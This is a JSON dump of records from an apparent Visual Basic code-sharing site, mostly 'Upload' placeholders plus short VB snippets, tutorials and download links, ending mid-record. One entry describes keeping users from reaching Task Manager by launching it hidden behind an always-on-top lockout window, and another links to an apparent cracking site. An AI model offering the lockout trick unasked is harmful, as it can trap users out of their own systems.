,"id":51722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51758,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51821,"LineNumber":1,"line":"Download the zip file (just 3 KB) for the article in a text file"},{"WorldId":1,"id":51825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51841,"LineNumber":1,"line":"Recently I mirrored an old copy of the VBAPI.COM website. This is the original VBAPI.COM website before it was taken over. If you want to access the original copy, with the an extensive API reference for Visual Basic, try http://www.mangovision.com/vbapi/ Also, if you would like to add more API listings or information to the existing site, feel free to submit any new API information you want to have posted."},{"WorldId":1,"id":51844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51872,"LineNumber":1,"line":"Darryn Frost\nnth Technologies Inc\ndFrost@nthTechnologies.com\nwww.nthtechnologies.com\n<h3>Optimizing VB String Parsing ΓÇô Using Byte Arrays, Binary Searches, Sorting and Removing duplicates from arrays<h3>\nPlease see zip file for word document containing the article and the code for a VB Module."},{"WorldId":1,"id":51873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47381,"LineNumber":1,"line":"Private Sub Text1_KeyPress(KeyAscii As Integer)\n If Not (KeyAscii >= Asc(\"0\") & Chr(13) _\n And KeyAscii <= Asc(\"9\") & Chr(13) _\n Or KeyAscii = vbKeyBack _\n Or KeyAscii = vbKeyDelete _\n Or KeyAscii = vbKeySpace) Then\n Beep\n KeyAscii = 0\n End If\nEnd Sub\nPrivate Sub Text2_KeyPress(KeyAscii As Integer)\n If Not (KeyAscii >= Asc(\"0\") & Chr(13) _\n And KeyAscii <= Asc(\"9\") & Chr(13) _\n Or KeyAscii = vbKeyBack _\n Or KeyAscii = vbKeyDelete _\n Or KeyAscii = vbKeySpace) Then\n Beep\n KeyAscii = 0\n End If\nEnd Sub\n'If user paste the character which is not\n'numeric character, Text1 will ignore it.\nPrivate Sub Text1_Change()\n If Not IsNumeric(Text1.Text) Then\n Text1.Text = \"\"\n End If\nEnd Sub\n'Try Paste some character which is not numeric\n'to Text1 and Text2 control (copy alpha character \n'from another file, paste it to those textboxes).\n'See the difference between Text1 and Text2!!!\n'So, don't forget to add the code in event\n'procedure Change belongs to the textbox if\n'you want your textbox control avoid the character\n'which is not numeric. This is often we forgot!\n"},{"WorldId":1,"id":47384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47404,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47408,"LineNumber":1,"line":"Private Sub Grid2Excel(gridName As MSHFlexGrid)\n'This is the function to print from the Grid to Excel\nDim exc As Excel.Application\nSet exc = CreateObject(\"Excel.Application\")\nexc.Workbooks.Add\nexc.Visible = True\nWith gridName\n For i = 0 To .Rows - 1\n For j = 1 To .Cols - 1\n exc.Cells(i + 1, j) = .TextMatrix(i, j)\n exc.Cells(i + 1, j).Borders.LineStyle = xlDouble\n exc.Cells(i + 1, j).Borders.Color = vbBlue\n Next j\n Next i\n exc.Range(\"A1:\" & Chr(65 + j) & 1).Font.Bold = True\n exc.Columns(\"$A:\" & \"$\" & Chr(65 + j)).AutoFit\nEnd With\nEnd Sub"},{"WorldId":1,"id":47412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47434,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47435,"LineNumber":1,"line":"Here's the Code Enjoy :)\nhttp://www.geocities.com/al99110409/EffectWorkShop2/EffectWorkShop2.zip\n<<<<Little Update Minor Fixes.. + Shadow Enabled !\nhttp://www.geocities.com/al99110409/EffectWorkShop2/EffectWorkShop201.zip"},{"WorldId":1,"id":47438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47439,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47446,"LineNumber":1,"line":"Sub Clear()\n Text1.Text = \"\"\n Label1.Caption = \"Characters: \"\n Text1.SetFocus\nEnd Sub\nPrivate Sub Command1_Click()\n Label1.Caption = \"Characters: \" & Str$(Len(Text1.Text))\n Text1.SetFocus\nEnd Sub\nPrivate Sub Command2_Click()\n Call Clear\nEnd Sub"},{"WorldId":1,"id":47447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47541,"LineNumber":1,"line":"While there is a good submission relating to making your app Task Manager-Proof, I haven't seen one that tells how to actually disable Ctrl+Alt+Del. In about 5 minutes I came up with a way to do it, with only one line of code, in just about any programming language! O_O \n \nWhat you wanna do is launch taskmgr.exe, then hide it. For an always-on-top fullscreen form (IE a lockout screen) that should take about one line of code. In VB for example, shell \"taskmgr.exe\" followed by the code which makes your window always on top (which doesn't count since you were doing that anyway). \n \nSo why does just launching the Task Manager disable the 3 magic buttons? Doesn't it defeat the purpose? No. Observe: When the Task Manager is open already and you hit Ctrl+Alt+Del again, it merely brings focus to the Task Manager. But when another window of yours is on top, it keeps focus (so long as you launched Task Manager before making your program Always On Top) and the user can't access the Task Manager!\n \n \nNOTE: Don't do this on Win9x/WinME. In them, when the Task Manager is open and you hit Ctrl+Alt+Del, your computer reboots. ^_^ It's not hard to disable in those anyway."},{"WorldId":1,"id":47542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47567,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47590,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47617,"LineNumber":1,"line":"The following bugs have been fixed in this revision:\n\n- Clicking cancel on the dialog box no longer switches to open mode.\n \n- Choosing a menu option when no stream is selected no longer crashes the app\n \n- The Path to Wordpad isn't hard coded anymore\n \n- The app won't crash on a FAT-32 system anymore\n \n- The GUI won't freeze after a long amount of files beeing scanned\n\nThe following new features have been added:\n\n- You can now double-click on a file in seek mode to open it for stream editing.\n \n- Two new functions, GetWordPadPath and CheckStreamCapability to support localized and non-NTFS systems\n \n- You can now close the application during a search \n- Streams are displayed as they are found, not only at the end of a search.\nThe 0-byte bug seems to be a Windows API bug, I will report it to Microsoft.\n\nFinally, if you liked the update or have any comments about it, please post it as a comment either here or on the original article.\nAlso, if you've never read the article before, please read it at the link above and vote for it if you liked it."},{"WorldId":1,"id":47619,"LineNumber":1,"line":"Parts of this Introduction is \ncopied from http://www.kluft.com\nIntroduction:\nWhat's the point of doing Morse Code \nany more these days? Didn't that go away with the telegraph? \nNo, it didn't.\nIn some ways the general perception is \ncorrect that it has become anachronistic. But when an emergency occurs and lots \nof equipment is broken, there is no other means of communications that works \nwith the simplest radios, gets through interference better, and uses less radio \nbandwidth (allowing more communications to occur simultaneously) than Morse \nCode. In short, there may be nothing else that will work in some emergencies.\n\nFor those reasons, Morse Code is \nrequired to get any Ham Radio license which has privileges in the HF Ham bands, \nat frequencies where the atmosphere is able to refract the signals back to the \nsurface hundreds or thousands of miles away. It is considered unlikely that the \nMorse Code requirement will be removed any time soon from Ham Radio license \nclasses with access to HF Ham bands. (Morse Code is not required for all classes \nof Ham Radio licenses. Since the early 1990's many countries, including the USA, \nJapan, most of Western Europe, Australia, and New Zealand, have made entry-level \n"no-code" Ham Radio licenses which are restricted from using HF bands but have \nfull privileges on the VHF, UHF and microwave Ham bands.) \nSome Hams do Morse Code because they \nlike it. Others do it because they want other privileges that come with a higher \nclass of Ham Radio license that requires it. Most Hams agree that the \nrequirement is necessary to maintain a sufficiently-large group of people ready \nto respond when the code is used by other stations in an emergency or disaster.\n\nIn the United States, these are the \nlicense classes and their corresponding code testing requirements. \n\n \nMorse code:\n<ul>\n <li>The International Morse code \n characters are: </li>\n</ul>\n<center>\n<table cellSpacing=\"10\" cellPadding=\"3\" width=\"600\" border=\"3\" height=\"1211\">\n <tr>\n <td vAlign=\"top\" width=\"25%\" height=\"1193\"><center>\n A \n .- \n \n </center><center>\n B \n -... \n \n </center><center>\n C \n -.-. \n \n </center><center>\n D \n -.. \n \n </center><center>\n E \n . \n \n </center><center>\n F \n ..-. \n \n </center><center>\n G \n --. \n \n </center><center>\n H \n .... \n \n </center><center>\n I \n .. \n \n </center><center>\n J \n .--- \n \n </center><center>\n K \n -.- \n \n </center><center>\n L \n .-.. \n \n </center><center>\n M \n -- \n \n </center></td>\n <td vAlign=\"top\" width=\"25%\" height=\"1193\"><center>\n N \n -. \n \n </center><center>\n O \n --- \n \n </center><center>\n P \n .--. \n \n </center><center>\n Q \n --.- \n \n </center><center>\n R \n .-. \n \n </center><center>\n S \n ... \n \n </center><center>\n T \n - \n \n </center><center>\n U \n ..- \n \n </center><center>\n V \n ...- \n \n </center><center>\n W \n .-- \n \n </center><center>\n X \n -..- \n \n </center><center>\n Y \n -.-- \n \n </center><center>\n Z \n --.. \n \n </center></td>\n <td vAlign=\"top\" width=\"25%\" height=\"1193\"><center>\n 0 \n ----- \n \n </center><center>\n 1 \n .---- \n \n </center><center>\n 2 \n ..--- \n \n </center><center>\n 3 \n ...-- \n \n </center><center>\n 4 \n ....- \n \n </center><center>\n 5 \n ..... \n \n </center><center>\n 6 \n -.... \n \n </center><center>\n 7 \n --... \n \n </center><center>\n 8 \n ---.. \n \n </center><center>\n 9 \n ----. \n \n </center><center>\n Fullstop \n .-.-.- \n \n </center><center>\n Comma \n --..-- \n \n </center><center>\n Query \n ..--.. \n </center></td>\n </tr>\n</table>\n</center>\n<ul>\n <li>I am not sure about the code of the \n other characters Unicode for instance .</li>\n</ul>\n \nWhat Does This Tutorial Have Else:\n<ol>\n <li>The Above Intro and Morse Code characters\n .</li>\n <li>Morse Code Encoder. (Text-Text Encoder).</li>\n <li>Morse Code Encoder. (Text-Sound Encoder). \n sound is saved as a midi file.</li>\n</ol>\n \nVote And Comment If You Want.............\n"},{"WorldId":1,"id":47621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47656,"LineNumber":1,"line":"==================================\n \n HOW TODO MIRC LIKE WINDOWS\n \n TUTORIAL BY:\n \n Xealot\n \n==================================\n \n \nHi all, now im gonna explain to you how to create \n \nunlimited ammount of windows out of 1 form ( a.k.a. template ).\n \nWell, to start with this tutorial will require some programming\n \nexperience by you cause im not gonna explain everything i.e.\n \nwhat a TYPE (inside a module) is or what variables is =/ ..\n \nu have to find tutorials for that elsewhere...\n \n \nBasicly what u need to know is how to create forms,\n \nmodules and how to type :P\n \nBut if you wanna understand the code, u might need to learn\n \nwhat a TYPE is inside a module aswell.. and ** IMPORTANT **\nwhat an ARRAY is!! ( this thing is basicly based on an array )\n \n \nLets start, theoreticly you index an form.. ( i hope you know how to index a control ).\n \nLike you know you can make Text1(1).text .. thats an indexed\n \nText1.. and im calling the #1 .. it works the same as an array.\n \nWe are going to do the same to a form BUT .. as you may have noticed..\n \n( if you take a look at the properties window ) theres nothing called\n \n\"Index\" on form..\n \n \nSo this is a bit weird, create an module and inside type like:\n \n \npublic type Xealot\n \nq as new form1\n \nend type\n \npublic io(1 to 5) as xealot\n \n \nOk let me explain what this code does..\n \nSay you have made a FORM called Form1.. ( this is the form we wish to make loads of ).\n \nthis piece of code will make an TYPE as we call \"xealot\" << it doesnt matter what you call it.\n \ninside types, as you may know.. you can DIM variables.. except you dont type public/dim ..\n \nwe DIM an variable called q as a new Form1.. \nthis means you create a new copy of Form1..\n \na bit strange.. basicly it creates a new window that looks like Form1.. also executes\n \nsame code as in Form 1.\n \n \npublic io(1 to 5) as xealot\n \n \nthat will make an public variable called io ... it has an array from 1 to 5..\n \nthe number 1 to 5 means we will create 5 windows of Form1.. ( change the number if you wish ).\n \nnow.. its *kinda* done.. make a Form2 and goto project properties and set Form2 as the startup form.\n \nInside form2 make an button (commmand) and its code would be:\n \n \nfor n = 1 to 5\n \nio(n).q.show\n \nnext\n \n \nDONE! this would make so when you press command1 << the button,.. 5 windows that looks like Form1\n \nshould appear :D ... have fun..\n \noh yes and .. a small trick like saving info as \"This copy of Form1 is number 4 thats created\" is simple..\n \nYou ever wondered what the propertie \"tag\" is in a form? its basicly\n \nan variable for u to put nonsense in.. you can store stuff in there.\n \n \nLets experiment with it, shall we?\n \nOk lets edit the command1's code in Form2 to:\n \n \nfor n = 1 to 5\n \nio(n).q.show\n \nio(n).q.tag = trim$(str$(n))\n \nnext\n \n \nthen lets have fun with Form1, make an button..\n \ninside the code (command1) type:\n \n \nmsgbox(me.tag)\n \n \nThis should look like, say you press the button on the 3'rd form thats created,\n \nyou should get a msgbox saying \"3\" :)\n \n \nThats not too hard was it?\n \nah well.. have fun!\n \n \n[ [ Xealot ] ]\n \n[ littlebrainbug@hotmail.com ]\n \n[ #Fraggedsoft @ Quakenet ]\n "},{"WorldId":1,"id":47658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47683,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47744,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":47783,"LineNumber":1,"line":"Dim DragX As Long, DragY As Long\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nDragX = X: DragY = Y\nEnd Sub\n\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nIf Button = 1 Then\nForm1.Move Form1.Left + X - DragX, Form1.Top + Y - DragY\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":56280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56290,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56372,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56434,"LineNumber":1,"line":"To get the video go\nhttp://www.crackingislife.com/plugins/viewpost.php?s=yes&pid=12\n\nPscode has problems uploding so you must copy and paste this link in your browser\nhttp://www.crackingislife.com/plugins/viewpost.php?s=yes&pid=12"},{"WorldId":1,"id":56435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56454,"LineNumber":1,"line":"How to Get 36 ActiveX Controls from Microsoft for free. \nFYIΓÇª \nDid you know? Many of the VB6 controls come from other companies. \nMicrosoft stripped them down and distributed them. \nLike the MSflexgrid control actually came from http://www.videosoft.com VSflexgrid. \nHmm VSflexgrid... MSflexgrid... This download contains the latest version of the VSflexgrid Ver 8(completely backwards compatible with MSFlexgrid) and many more. \n================================================ \nObtaining the free ComponentOne ActiveX controls.vbs \n================================================ \nPublic Function GetActiveXControls() \nGOTO http://msdn.microsoft.com/vbasic/vbrkit/ \nIF only want ActiveX controls AND NOT want .NET THEN \n..GOTO WEB page section \"License key: If you already have the Visual Basic .NET Resource Kit CD, sign up to receive your ComponentOne Studio Enterprise license key e-mail: \" \nElseIF you Use .NET then \n..Download the VB.NET Resource Kit \n..GOTO WEB page section \"License key: If you already have the Visual Basic .NET Resource Kit CD, sign up to receive your ComponentOne Studio Enterprise license key e-mail: \" \nEND IF \nIF in U.S then \n..MouseClick on link \"Outside the United States \" or _ \n..GOTO http://www.vbrkit.net/ \t\t\nElseIF not in U.S then \n..MouseClick on link \"Outside the United States \" or _ \n..GOTO http://www.vbrkit.net/?=ww \nEND IF \nKeyPress \"Fill Out WEB form. Use valid email.\" \n \nMouseClick on button \"Submit\" \n \nPrint \"Your download information and license keys will be mailed to you from Microsoft. This email contains the license key for the controls you will receive. Once you have the controls it will ask you to register the first time you use them.\" \n \nMouseClick on link \"Provided link from Microsoft in email\" \n \nPRINT \"Look in the middle of the page for the two download links. You will read. Already have your Studio Enterprise License Key? Underneath this is the download links.\" \n \n Click HERE to download your FREE COPY of Doc-to-Help 6.5!\" \n \nPRINT \"Download - DocToHelp6_6.5.0.128.exe 28.7Mb\" \nPRINT \"Be sure write down the license key provided on the download WEB page. It will be in blue and you will need it to install DoctoHelp. It has the format: 01065M1-XX-NNNNNN (X=alpha,N=numeric).\" \n \nMouseClick on link \"Click HERE to download one-time update of Studio Enterprise for Microsoft Visual Studio .NET!\" \n \nPRINT \"c1enterprise_303.zip 186Mb\" \nPRINT \"Extract the installation package 4 files. c1enterprise_303.zip, c1StudioAsp_Q303.msi, c1StudioNet_Q303.msi ,and c1StudioActiveX_Q303.msi This last one contains the ActiveX Controls. This is really the one your after. Save these to a CD.\" \nPRINT \"After the install run one of the sample projects and click on license when the register screen opens.\" \n \nKeyPress \"Enter your name and license number from the email\" \n \nPRINT \"Now your all done!\" \nPRINT \"If you thought this was helpful. Please vote for me.\" \n \n \nPRINT \"Complete list of free components. This is what you get in the c1StudioActiveX_Q303\" \n \nPRINT \"ComponentOne C1Awk Control 8.0\" \nPRINT \"ComponentOne Chart 8.0 2D Control\" \nPRINT \"ComponentOne Chart 8.0 3D Control \nPRINT \"ComponentOne Query Control 8.0\" \nPRINT \"ComponentOne Query UI Control 8.0\" \nPRINT \"ComponentOne Sizer/Tab Controls 8.0\" \nPRINT \"ComponentOne Spell 8.0 Control\" \nPRINT \"ComponentOne Thesaurus 8.0 Control\" \nPRINT \"ComponentOne True DataControl 8.0\" \nPRINT \"ComponentOne True DataControl Lite 8.0\" \nPRINT \"ComponentOne True DBCalENDar 8.0\" \nPRINT \"ComponentOne True DBContainer3D 8.0\" \nPRINT \"ComponentOne True DBDate 8.0\" \nPRINT \"ComponentOne True DBGrid Pro 7.0 (OLEDB)\" \nPRINT \"ComponentOne True DBGrid Pro 8.0\" \nPRINT \"ComponentOne True DBGrid Pro 8.0 (OLEDB)\" \nPRINT \"ComponentOne True DBList Pro 8.0\" \nPRINT \"ComponentOne True DBList Pro 8.0 (OLEDB)\" \nPRINT \"ComponentOne True DBMask 8.0\" \nPRINT \"ComponentOne True DBNumber 8.0\" \nPRINT \"ComponentOne True DBNumber Lite 8.0\" \nPRINT \"ComponentOne True DBText 8.0\" \nPRINT \"ComponentOne True DBTime 8.0\" \nPRINT \"ComponentOne VSDraw 8.0 Control\" \nPRINT \"ComponentOne VSFlexGrid 8.0 (DAO/RDO)\" \nPRINT \"ComponentOne VSFlexGrid 8.0 (Light)\" \nPRINT \"ComponentOne VSFlexGrid 8.0 (Light/Unicode)\" \nPRINT \"ComponentOne VSFlexGrid 8.0 (OLEDB)\" \nPRINT \"ComponentOne VSFlexGrid 8.0 (OLEDB/Unicode)\" \nPRINT \"ComponentOne VSFlexString 8.0\" \nPRINT \"ComponentOne VSPDF 8.0 Control\" \nPRINT \"ComponentOne VSPrinter 8.0 Control\" \nPRINT \"ComponentOne VSReport 8.0 Control\" \nPRINT \"ComponentOne VSViewPort 8.0 Control\" \nPRINT \"ComponentOne WEBChart 2D DTC\" \nPRINT \"ComponentOne WEBChart 3D DTC\" \nEND FUNCTION \n "},{"WorldId":1,"id":56459,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56483,"LineNumber":1,"line":"Im having some trouble uploading my code, i guess pscode has seen enough of the war :).. please download it from here: www.geocities.com/farazazhar_net/ and go to All Projects in VB section."},{"WorldId":1,"id":56486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56526,"LineNumber":1,"line":"\n\n<h2 align=\"center\">The Question of Existence - by Bruce McKinney</h2>\nTesting for the existence of a file ought to be easy (and is in most\nlanguages), but it turns out to be one of the most annoying problems\nin Visual Basic. Don't count on simple solutions like this:\n<code>fExist = (Dir$(sFullPath) <> vbNullString)</code>\nDir will return the first file found if you happen to pass sFullPath as\nan empty string, and so will set fExist to True. You could use:\n<code>If sFullPath <> vbNullString Then fExist = (Dir$(sFullPath) <> vbNullString)</code>\nThat statement works until you specify a file on an empty floppy or\non a CD-ROM drive. Then you're stuck in a message box.\nHere's another common one:\n<code>fExist = FileLen(sFullPath)</code>\nIt fails on 0-length files ΓÇö uncommon but certainly not unheard of.\nMy theory is that the only reliable way to check for file existence\nin Basic (without benefit of API calls) is to use error trapping.\nI've challenged many Visual Basic programmers to give me an\nalternative, but so far no joy. Here's the shortest way I know:\n<code>Function FileExists(sSpec As String) As Boolean \n On Error Resume Next \n Call FileLen(sSpec) \n FileExists = (Err = 0) \nEnd Function</code>\nThis can't be very efficient. Error trapping is designed to be fast\nfor the no fail case, but this function is as likely to hit errors\nas not.\nPerhaps you'll be the one to send me a Basic-only ExistFile function\nwith no error trapping that I can't break.\nUntil then, here's an API alternative:\n<code>Function ExistFileDir(sSpec As String) As Boolean \n Dim af As Long \n af = GetFileAttributes(sSpec) \n ExistFileDir = (af <> -1) \nEnd Function</code>\nI didn't think there would be any way to break this 